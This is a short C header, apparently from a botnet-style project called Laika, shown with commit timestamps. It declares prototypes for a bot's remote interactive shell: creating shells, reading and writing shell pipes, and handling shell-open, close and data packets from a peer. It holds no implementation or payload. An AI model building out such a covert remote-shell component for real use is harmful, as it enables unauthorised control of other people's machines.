2022-02-21 23:25:49 +00:00
|
|
|
#ifndef LAIKA_SHELL_H
|
|
|
|
#define LAIKA_SHELL_H
|
|
|
|
|
|
|
|
#include <stddef.h>
|
|
|
|
|
|
|
|
struct sLaika_bot;
|
2022-03-17 23:22:26 +00:00
|
|
|
struct sLaika_shell;
|
2022-02-21 23:25:49 +00:00
|
|
|
|
2022-03-07 21:16:46 +00:00
|
|
|
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows);
|
2022-02-21 23:25:49 +00:00
|
|
|
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|
|
|
|
|
|
|
/* handles reading & writing to shell pipes */
|
|
|
|
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
|
|
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
|
|
|
|
|
|
|
|
/* packet handlers */
|
|
|
|
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
|
|
|
|
#endif
|